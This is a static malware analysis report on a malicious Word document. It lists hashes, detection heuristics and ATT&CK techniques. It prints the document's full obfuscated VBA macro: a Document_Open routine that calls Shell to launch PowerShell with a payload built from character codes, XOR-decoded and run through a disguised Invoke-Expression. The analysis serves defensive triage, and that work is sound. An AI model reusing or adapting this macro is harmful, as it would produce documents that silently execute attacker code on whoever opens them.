Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 938db873df0f5740…

MALICIOUS

Office (OLE)

113.8 KB Created: 2018-06-13 18:57:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: 4dba08a0c532e7d6a7ae17e6e14e13ca SHA-1: 4490094c6eac9021a05a93f19e1da5195537182b SHA-256: 938db873df0f5740f69be9121b4c98d675cd17b6a9f08046bbd971db2122f0d7
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open auto-execution macro, which is designed to run malicious code upon opening the document. The critical OLE_VBA_SHELL heuristic indicates the use of the Shell() function, a common technique for executing arbitrary commands or launching secondary payloads. The ClamAV detection further confirms the malicious nature of the file.

Heuristics 7

  • ClamAV: Doc.Malware.Valyria-6769654-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6769654-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    iiMZYj = CDbl(RLNqf)
ZfpOouF = ZAQhfKrzhu + VBA.Shell(jjZowsEEF + Chr(PROUXnw + vbKeyP + rpUbJUzbK) + "owers" + PQqVK + NDkWZJHwSw + UwjLz + okEzTabHzBL + cRZqYWA + ojhPBidkRv, 55450 - 55450)
VIVMwU = Tan(90141)
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_open()
On Error Resume Next
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13585 bytes
SHA-256: f0cf9f003d2e95b94cb4c09863733bf0b75d5733c74070fb975567db175ab08d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
249 of 472 identifiers look randomly generated (e.g. 'okEzTabHzBL'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "CiHHNPiVWVp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function ZfpOouF()
On Error Resume Next
mKMRs = Tan(64876)
MVCkun = ZSQqOt
BhPmm = NXzsk
fAAZG = CDbl(uKDYm * CDbl(VABAG + Int(Kjpos * Rnd(78264)) * kNVWaJ * Log(91798 * zzRGSI - RYzdvF + Fix(51))))
GsPmM = Tan(67616)
QqHLz = CDbl(oYncO)
uljfIA = Tan(32032)
cUblpc = CBnKW
wjHJu = mvtlU
Etuja = CDbl(dvHiz * CDbl(tSbBMN + Int(UwcQlv * Rnd(51503)) * RKdYfV * Log(99351 * cZslrf - GNkHQ + Fix(51))))
UbLKI = Tan(31948)
dIozTL = CDbl(dJUdtd)
zcfas = Tan(76434)
qAXMt = bzzPL
zQEmY = lcEQd
wwIPE = CDbl(LnFaH * CDbl(owoKj + Int(zIKRw * Rnd(22053)) * pMVru * Log(96422 * KoYbQf - zJvGZJ + Fix(51))))
ZutWV = Tan(67325)
VLjzz = CDbl(OKpwLc)
YtEPU = Tan(35922)
vfobu = zwUHiq
KSocr = TjapTw
wmNzES = CDbl(pMVWwV * CDbl(vnWZz + Int(KSEBXj * Rnd(66678)) * XAHfQ * Log(32841 * PwufYi - zwSjW + Fix(51))))
CMskq = Tan(31698)
iiMZYj = CDbl(RLNqf)
ZfpOouF = ZAQhfKrzhu + VBA.Shell(jjZowsEEF + Chr(PROUXnw + vbKeyP + rpUbJUzbK) + "owers" + PQqVK + NDkWZJHwSw + UwjLz + okEzTabHzBL + cRZqYWA + ojhPBidkRv, 55450 - 55450)
VIVMwU = Tan(90141)
zMzzOE = IqvUs
hwhlUH = bulicB
KsEdV = CDbl(VkKaij * CDbl(GGmQV + Int(jWwzDG * Rnd(73731)) * VEiZGp * Log(86097 * IaSWQ - zoHHlu + Fix(51))))
cBivr = Tan(20860)
vBXjH = CDbl(jbBXuU)
FijwRV = Tan(35135)
sVjbq = VulaTJ
ENZvmI = QMGjrZ
XvYNhQ = CDbl(FEFCr * CDbl(wkPoN + Int(XkjnC * Rnd(24720)) * bIwkL * Log(55304 * LcAnw - EczJTs + Fix(51))))
AwMMK = Tan(39537)
IoIWA = CDbl(pMIUtZ)
End Function
Private Sub Document_open()
On Error Resume Next
OaWjh = Tan(75872)
wXpnDE = JwBzHH
RDorR = BOQqoa
XNIwU = CDbl(kwHWOp * CDbl(jasjI + Int(DPGoh * Rnd(84886)) * rjGdv * Log(71648 * ptnoff - FNJhaC + Fix(51))))
AwczS = Tan(80840)
DRYaE = CDbl(jAqda)
QCMQw = Tan(88015)
diCUq = BLiBF
mcONb = IEWfG
FjYmSc = CDbl(dYCTR * CDbl(OEGrG + Int(MfblNY * Rnd(80722)) * JBuiRB * Log(20469 * ZEWQUK - wjIzu + Fix(51))))
GdJjzO = Tan(95775)
dvLNc = CDbl(uciXCQ)
ZfpOouF
NUEWY = Tan(43154)
CtfIT = tcPQV
tGisJ = UQrRMF
lilAsa = CDbl(rGztFm * CDbl(jBizIj + Int(PWAJL * Rnd(3880)) * lTMozu * Log(18103 * HwoofP - HknXGl + Fix(51))))
vQswhO = Tan(35763)
krhYv = CDbl(mmEGr)
ovXUb = Tan(21605)
jkPRkH = UQdrJ
mUWGH = kIAVf
fiiVhL = CDbl(RitzUV * CDbl(cpljtU + Int(VlhXYB * Rnd(5598)) * lctko * Log(15874 * XAYhz - rtXBl + Fix(51))))
vGVGsk = Tan(57001)
KzBwI = CDbl(hwtQD)
End Sub


Attribute VB_Name = "nmOYNISZkz"
Function PQqVK()
On Error Resume Next
cjZfGV = Tan(13487)
lQdOtE = SLKibL
qhvuiQ = TMstIf
TFOfc = CDbl(kIjbGQ * CDbl(HnnNm + Int(YtMDPc * Rnd(30357)) * HilSo * Log(34134 * qKZTin - hBUnR + Fix(51))))
pKPnzK = Tan(29205)
GCwDM = CDbl(cdvIR)
MEKqiiMizpF = "HeLL -jOin" + "('41L70h94R" + "122S111M79M8" + "8S4" + "5@48Z45R99" + "K1" + "04@" + "122h32h98K" + "111Z103Z10" + "4L110S12"
jbfQPX = Tan(57320)
ddWmA = jshkG
bjHaP = kdEGL
SHLDK = CDbl(BVowwT * CDbl(spEBY + Int(wwoKjV * Rnd(77076)) * iPpHEW * Log(11290 * PlYuTK - WdnnDX + Fix(51))))
zbFFM = Tan(37668)
fhWHSG = CDbl(qrzRza)
XQXUV = "1@" + "45M127" + "~1" + "08L99M1" + "05h98M96K54~41M" + "78@93Z1"
UlXsBD = Tan(74204)
BVpKM = hHtzS
RGqYL = rWmwqm
FNzCu = CDbl(XLQnAl * CDbl(QXlPD + Int(ikIMnE * Rnd(20184)) * Ivuwqw * Log(68226 * VPZtdL - BTqmK + Fix(51))))
iNbnH = Tan(66198)
BKzkiO = CDbl(WrJnR)
UaYUrDAwwU = "23M90S1" + "00h1" + "22M45M48" + ">45>9" + "9K104M122K32h98"
jioMG = Tan(46759)
FMLRT = dJUYRc
zUFbJu = micjwt
SPhhp = CDbl(FpHNfk * CDbl(aGAnU + Int(UThQOB * Rnd(33076)) * ucRQTG * Log(20727 * uoVAO - JMswZi + Fix(51))))
TnJWDp = Tan(89756)
lzTjXE = CDbl(NqwLd)
ntwKOKFqEol = "K111S103" + "R104" + ">110Z1" + "21L45~94>" + "116S126R12" + "1M104~96~3" + "5M67Z10"
hHCmBq = Tan(88003)
ClJiM = tCzWq
juVpc = jwWvk
ZPTTXt = CDbl(vfQbBE * CDbl(zwPOsw + Int(jVSqbq * Rnd(39764)) * MwchjM * Log(80644 * iEKlnp - STlrK + Fix(51))))
FOzcDN = Tan(66486)
dvCHz = CDbl(SwUXZ)
EnzbNZY = "4K" + "121S35h90K104Z" + "111@78L97h100R1" + "04"
FiAiZ = Tan(92995)
VnIEjR = GiHUo
wsBJI = oWAUzN
BhvwU = CDbl(twqCG * CDbl(Cwnnb + Int(ZsDNK * Rnd(68679)) * ZiTXCi * Log(45206 * hJijsG - lZFpv + Fix(51))))
KLfqav = Tan(60196)
UOnXMw = CDbl(raZoXi)
KrIiBrk = "S99R121" + "M54M" + "41R78R95M90S97" + ">93M103L45@48M4" + "5L42Z1" + "01~121Z121~125" + "K55@34M" + "34M122h122"
PQqVK = MEKqiiMizpF + XQXUV + UaYUrDAwwU + ntwKOKFqEol + EnzbNZY + KrIiBrk
End Function
Function NDkWZJHwSw()
On Error Resume Next
qkmDPE = Tan(55011)
lrmjZY = LYTcwh
TVHXt = iLzQR
dkuri = CDbl(iWOkfC * CDbl(DarHk + Int(plSCR * Rnd(3065)) * pFYvir * Log(5980 * RjFaKm - auipF + Fix(51))))
TASoci = Tan(94843)
Kicqzz = CDbl(zSGoz)
ckvLBtP = "R122Z35S126S1" + "20h97>121" + "K127R108h101S1" + "04@" + "108L105K97" + "~10" + "0K99h1" + "04M" + "35>"
QBkzh = Tan(20522)
aFSupI = EjFOw
AckNn = cccAGE
sAWpf = CDbl(PlOAtQ * CDbl(ELarB + Int(tdqJw * Rnd(23335)) * Hiwrbq * Log(55212 * blVYHj - Vmcqzn + Fix(51))))
UmsOma = Tan(2890)
Cradtj = CDbl(pXYDnF)
JfAXB = "110Z98@" + "96" + "K34R1" + "23~53Z111Z9" + "5R65h56" + "R34" + "S77"
okwHso = Tan(94436)
zbYiFj = zlsOs
tuuNz = jODnJ
zqwREs = CDbl(SzKVP * CDbl(CPvQwu + Int(lCjKX * Rnd(63517)) * DcqdRE * Log(31920 * bzoXQP - cjYfS + Fix(51))))
RuGcIS = Tan(38443)
JmtXCw = CDbl(GhDKiS)
DtoMji = "~101K121" + "~121h12" + "5@55S34M34" + "R1" + "21S127@9" + "8M126R104Z3" + "5R98>127K"
jKHrp = Tan(52632)
WvtWVM = HRbnh
RLvANQ = VCVVo
AnWiOi = CDbl(UMABJ * CDbl(kzOKf + Int(KcWljY * Rnd(31948)) * ZEvQWa * Log(25456 * DVoJh - VFKtr + Fix(51))))
rsWYQ = Tan(37483)
CiBqJw = CDbl(nQRkfi)
OGbVwfr = "106K34M99Z94" + "S123Z62M1" + "03~62~34~77>101" + "R121R121@125L55" + "~34Z34R126>110"
EulaQd = Tan(44017)
kYjiDD = WPRlr
LjCfiL = SEoaOI
KONUU = CDbl(YuMaD * CDbl(kkYTNJ + Int(lmmtNs * Rnd(18725)) * lDdAZ * Log(47288 * zAjjF - YQXccB + Fix(51))))
JPzDa = Tan(90587)
XVzbK = CDbl(mrjZdE)
qqrcmdiNtJ = "L98@121h9" + "9M104>105M35Z11" + "0K9" + "8S96M34~8" + "7>126~126~84" + "K101Z34h77M10"
pzGNP = Tan(89218)
tTaJaR = KsqRi
bfjHvq = ZnCwwz
WBvMa = CDbl(wIDOk * CDbl(VvZjpi + Int(lJsAX * Rnd(16705)) * bwbOn * Log(89581 * BVQGXU - tSbVWS + Fix(51))))
UrRCkv = Tan(3278)
JdBYE = CDbl(hzhob)
HCitiPBNzNZ = "1M121h1" + "21M125@5" + "5S34Z34K12" + "2R1" + "22R122>35S12" + "2@125~63" + "L35h9" + "6h98Z97L1"
NDkWZJHwSw = ckvLBtP + JfAXB + DtoMji + OGbVwfr + qqrcmdiNtJ + HCitiPBNzNZ
End Function
Function UwjLz()
On Error Resume Next
EkOrY = Tan(958)
zhZuY = iZZCCB
AUrrP = THKtln
jZCPpj = CDbl(BjVSMW * CDbl(OWwCM + Int(DpYbiu * Rnd(84362)) * GAwFdl * Log(38624 * oWHoF - QzYfs + Fix(51))))
pqlzU = Tan(2633)
rAahvo = CDbl(vjXMil)
zWMQCjAVU = "22~10" + "4@111>35K12" + "7Z120R34Z76K1" + "08h124S85R3" + "4S77~1"
sEAiL = Tan(61849)
hRHAG = vCPsdb
POoLzI = jbLzHG
DowAS = CDbl(RbXiu * CDbl(DazQf + Int(pahTl * Rnd(66826)) * ZIszq * Log(10433 * amSzKj - nLoqK + Fix(51))))
tVlGhd = Tan(90743)
RjZjDO = CDbl(tzYdjZ)
LUSPmNw = "01" + "@1" + "21S121R125R5" + "5S34S34>1" + "06>104~99M104S" + "126~1" + "00K126@"
JrzXVo = Tan(48364)
aranIs = KKYvoL
ctMju = EQomLK
RLnsiE = CDbl(vPRjGc * CDbl(vZqOqV + Int(XnEYF * Rnd(20160)) * fNchTq * Log(98000 * hPbid - McfdR + Fix(51))))
jUIJm = Tan(20752)
XjTcum = CDbl(Boznl)
cRbRiBCtBbT = "104~" + "99K" + "123L100@127Z98K" + "96h" + "108S99S35" + "L110M98~96" + "S34"
shLGF = Tan(11555)
NpZjYt = HfPKU
wvwnrB = ojpfA
zWjMwf = CDbl(NKYoiB * CDbl(linIUt + Int(tfpUAs * Rnd(99338)) * sFILC * Log(77228 * VwilVj - XJFqYZ + Fix(51))))
nPFLiR = Tan(9186)
usvnjr = CDbl(TjWwo)
VccjArckp = "h127L127" + "~90@92@89" + "L84h" + "34K42" + "M35M94~1"
DItQr = Tan(54962)
DVfOw = YacFk
aGmwl = VEdirj
rDHciL = CDbl(jPdkT * CDbl(bSvjS + Int(Grnim * Rnd(70790)) * CkDBjS * Log(70882 * YwPUWm - RKcCfc + Fix(51))))
QzXwEz = Tan(65680)
EUVrwJ = CDbl(jNwSi)
OvNuJFLGu = "25M97>10" + "0R121M37S42Z7" + "7h42R36S54@41>1" + "22~93M84Z70" + "S126h122L" + "45h48~" + "45K41S70K94" + "~122"
UwjLz = zWMQCjAVU + LUSPmNw + cRbRiBCtBbT + VccjArckp + OvNuJFLGu
End Function
Function okEzTabHzBL()
On Error Resume Next
oGkzrz = Tan(85627)
pwiTcj = VRtjZt
IFTcud = dSkzj
wNMhdi = CDbl(dDNcO * CDbl(llWilF + Int(raJktk * Rnd(71808)) * kGpfZ * Log(2208 * wazRd - wErrNK + Fix(51))))
KmhuI = Tan(31681)
Ecost = CDbl(szYzoj)
SXhQsbsJAn = "R111Z79K88M3" + "5S99M104M117L12" + "1@37Z60L" + "33Z45S59S53K56" + "S56R52L36L54R4" + "1h69R120@64R6" + "9R94S74L45" + "@48@45L41R104K" + "99R123L55R121" + "R104K96K125K"
dlkJBZ = Tan(5137)
JYlFRE = iSoIBv
wLYjwF = TuYbP
KCfPPz = CDbl(miHSA * CDbl(NciJP + Int(qwwWus * Rnd(71120)) * PzzHwi * Log(67707 * TKXJJ - FPEFjj + Fix(51))))
iVpnZI = Tan(73747)
jkXiM = CDbl(pjAUVj)
SNwBl = "45~38~45" + "K42@8" + "1Z42R4" + "5R38>45"
KCOzDN = Tan(96772)
dEHJff = wWzYo
ZAiwzQ = ElNDwU
wEjUM = CDbl(NwOdRz * CDbl(VBXQzk + Int(zlaUE * Rnd(49141)) * ODvww * Log(32713 * QuNlUf - dlBfz + Fix(51))))
MOwzFj = Tan(16542)
MiPPm = CDbl(zsTiU)
bAYCIhmGSa = "M41R122~93" + "K84M7" + "0S126Z12" + "2~45>38M" + "45M42@35S" + "104" + "S117R1"
amjznZ = Tan(1315)
bsXTo = LzzLh
SlDQwV = GZkSWL
LFvFR = CDbl(IBrNF * CDbl(KBjnDV + Int(lQrBrK * Rnd(18770)) * wWlhBc * Log(76936 * nQjjXZ - uqKXL + Fix(51))))
ltLow = Tan(91040)
EDuHZ = CDbl(iFjEz)
ridqBT = "04S42~54>107" + "@98Z127h104~108" + "@11" + "0K101K3"
qqiPpd = Tan(86391)
svsAv = YHVEEz
nGjMp = zPmoK
ZpEhP = CDbl(IbNBW * CDbl(WGJImt + Int(wquiU * Rnd(18244)) * iQOwM * Log(17579 * bOJMq - sbmpl + Fix(51))))
wRYkFj = Tan(26790)
NPiGkY = CDbl(isNRp)
MMtUp = "7M41@79" + "h65~7" + "3Z92R78L4" + "5M1" + "00L99Z4" + "5R41~" + "78h9" + "5h90" + ">97" + "S93L103M36"
fXrja = Tan(51476)
jLhEKL = CKkzD
nLjDc = QKiYY
XwuqOu = CDbl(UfsLZI * CDbl(Ekmro + Int(VrEkJz * Rnd(36144)) * HzmfjA * Log(25138 * ZFmim - puAJuc + Fix(51))))
TUvBYT = Tan(37442)
tKhRbD = CDbl(iGftI)
BTVtqW = "M118K" + "121S127~116" + "L11" + "8K41" + "L78R93h123Z9" + "0@" + "100R1" + "22K35L73Z9"
jdDkWY = Tan(61979)
DNvLB = GTdpj
cPXUCi = GoUQmp
UqmZOD = CDbl(jahOlm * CDbl(JLkniF + Int(vJkHc * Rnd(71659)) * VPjRAm * Log(14986 * HWrWEt - qGRvAz + Fix(51))))
QcZuvG = Tan(49984)
RmShN = CDbl(zzkAd)
tGChMFdwb = "8~122>99L97L9" + "8Z108Z105K7" + "5h" + "100>" + "97"
LADZNK = Tan(57430)
JAVQO = ccjSfq
DFFFDW = itJhvX
YWhrj = CDbl(RNZbF * CDbl(jUiqjT + Int(tWwIqI * Rnd(58158)) * bZTIlM * Log(50632 * JZVhH - qfdzV + Fix(51))))
wtfGNQ = Tan(30562)
aNqjE = CDbl(qnFSU)
jHrQXn = "~104" + "M37M41L79h6" + "5>73" + "R9" + "2>78R35S89Z98" + "R94R121M1" + "27>100>99S106" + "Z37M36K33K45Z41"
MlOmmN = Tan(88517)
ShdEAE = TMwouO
Ztvilc = bCaKfA
LfmLbh = CDbl(UHizz * CDbl(BORLY + Int(mkGZhc * Rnd(18077)) * BisULm * Log(24939 * wjiTs - EmMjoO + Fix(51))))
qXbWtu = Tan(51278)
FEjSn = CDbl(qPOoKA)
sCDIZihOAL = ">69~120~64R69~9" + "4M74S3" + "6~54L94>" + "121h108M1" + "27h121K32"
okEzTabHzBL = SXhQsbsJAn + SNwBl + bAYCIhmGSa + ridqBT + MMtUp + BTVtqW + tGChMFdwb + jHrQXn + sCDIZihOAL
End Function
Function cRZqYWA()
On Error Resume Next
SirfJQ = Tan(3164)
fdWdKj = baNzAM
fwBFhO = wudNq
DlhlIO = CDbl(tGvXYK * CDbl(mjQmhh + Int(CiDuXR * Rnd(94324)) * EKjXv * Log(78764 * AmPEWw - DdhXQ + Fix(51))))
sdiYYS = Tan(14892)
drlzn = CDbl(CkrBOI)
EhwSMi = "@93" + ">127@98K110M1" + "04>126Z1" + "26M45R41M" + "69S120" + "~6"
ftAwt = Tan(50027)
FcEUr = oGBoQ
viGjQ = SmjJI
nBVCwk = CDbl(fDilz * CDbl(kcSqmj + Int(HIhsW * Rnd(53322)) * GIohq * Log(85577 * HYzwP - PGTRsJ + Fix(51))))
ZSAOfn = Tan(73059)
iiTdfW = CDbl(RWPwv)
wFwBDzZnW = "4@69" + "K94K74M54R111" + "M127R10" + "4M108R102L" + "54K112M" + "110Z1" + "08Z121@110h10"
BqotVh = Tan(22714)
KkEhmj = zZOMvJ
FmdFU = tZzkE
zFBCp = CDbl(EWljhp * CDbl(dSClE + Int(XIiwT * Rnd(99506)) * AYdOIQ * Log(69837 * CISjXc - RiZFnC + Fix(51))))
NUjMHs = Tan(77080)
GiDri = CDbl(sXYQFG)
UAiRhBsA = "1Z1" + "18>" + "122h" + "127" + "Z100Z121" + "h104R32" + "~101>" + "98L12" + "6@121R" + "45>41S8"
BUJrSf = Tan(50709)
aaXHHI = GZolpQ
BjdfzI = HAohw
qGjMi = CDbl(VShUqv * CDbl(HEzJV + Int(WqIAb * Rnd(2212)) * aRsYZi * Log(99030 * jhqBME - RUOmk + Fix(51))))
nZOvC = Tan(69860)
iFILt = CDbl(DaIuM)
RdwVKGVCli = "2@35Z" + "72K1" + "17K110M" + "104>125M12" + "1Z100" + "S98K99@35@" + "64K10" + "4R126>1" + "26Z108@106"
vmhDz = Tan(71633)
ETVAH = cruRl
Uwbiq = jLrMT
pBawCj = CDbl(hTzuT * CDbl(vjwHr + Int(nMWGcw * Rnd(48335)) * oRvib * Log(34326 * bLwzj - wSFVEH + Fix(51))))
ZwihG = Tan(98791)
NSvwAd = CDbl(VPYRS)
VXmYzNkT = "R104K54M112" + "M112" + "'-sPLIt'~' -sp" + "lIt'l' " + "-sPL" + "iT'Z' " + "-spliT"
cRZqYWA = EhwSMi + wFwBDzZnW + UAiRhBsA + RdwVKGVCli + VXmYzNkT
End Function
Function ojhPBidkRv()
On Error Resume Next
jHWAUJ = Tan(79905)
UCidlp = STDAbU
qlBIPz = DjaChD
FLbRhw = CDbl(IoSBKa * CDbl(TwTfj + Int(bQCKFA * Rnd(16020)) * wQsjh * Log(74287 * wtkCvt - ziHEZo + Fix(51))))
oJVCj = Tan(83718)
QLjni = CDbl(XaRdn)
FiOjAtwr = " 'S'-SpLIT '@'-" + "SPLIt'K'-sPliT'" + "R' -" + "spLit '>' -sP" + "lit"
zVKDGL = Tan(51518)
UddPj = LdJtpp
pdZWHL = ZIpbl
PhYtP = CDbl(PWpNKE * CDbl(LzOFi + Int(KiiZJ * Rnd(13207)) * dYtLOZ * Log(80373 * GikbT - MXAQPR + Fix(51))))
MJVjM = Tan(55581)
lIPmmC = CDbl(ciwlPL)
vJOTDa = " 'm' -spliT'" + "h' | % { [cHA" + "R] ($_-BXOR " + Chr(34) + "0x" + "0d" + Chr(34) + " ) } " + ") |.( ([sTri" + "nG]$VErBosEPR" + "EFERENcE)[1,3]" + "+'X'-JOiN'')"
ojhPBidkRv = FiOjAtwr + vJOTDa
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.